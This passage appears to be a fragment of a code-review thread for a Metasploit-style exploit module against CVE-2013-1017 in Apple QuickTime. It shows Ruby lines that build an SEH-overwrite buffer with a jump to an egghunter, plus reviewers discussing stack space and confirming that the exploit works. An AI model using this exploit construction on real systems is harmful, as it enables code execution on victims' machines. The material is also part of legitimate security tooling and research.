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CVE-2013-1017 Apple Quicktime File Format Exploit #2138
CVE-2013-1017 Apple Quicktime File Format Exploit #2138
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buf << sort_bytes("\xeb\x06#{rand_text_alpha(2)}") # nSEH | ||
buf << sort_bytes([target.ret].pack("V*")) # SE Handler | ||
buf << sort_bytes("\xe9\x95\xfd\xff\xff\xff") # Jmp to egghunter | ||
buf << rand_text_alpha(50) # After SEH, only ~33 bytes |
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Just asking if egghunting is needed because there isn't space on the stack after SEH, or is it due to the file template size?
If it's due to the file template size, maybe just changing the sizes on the mov file used to exploit, a longer payload can be put after the SEH and egghunting could be avoided.
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Not enough space after seh.
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awesome! processing!
Working with both double click and "File / open" methods. Landing!
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Pretty much like windows/browser/apple_quicktime_rdrf.rb, except this module is a file format one.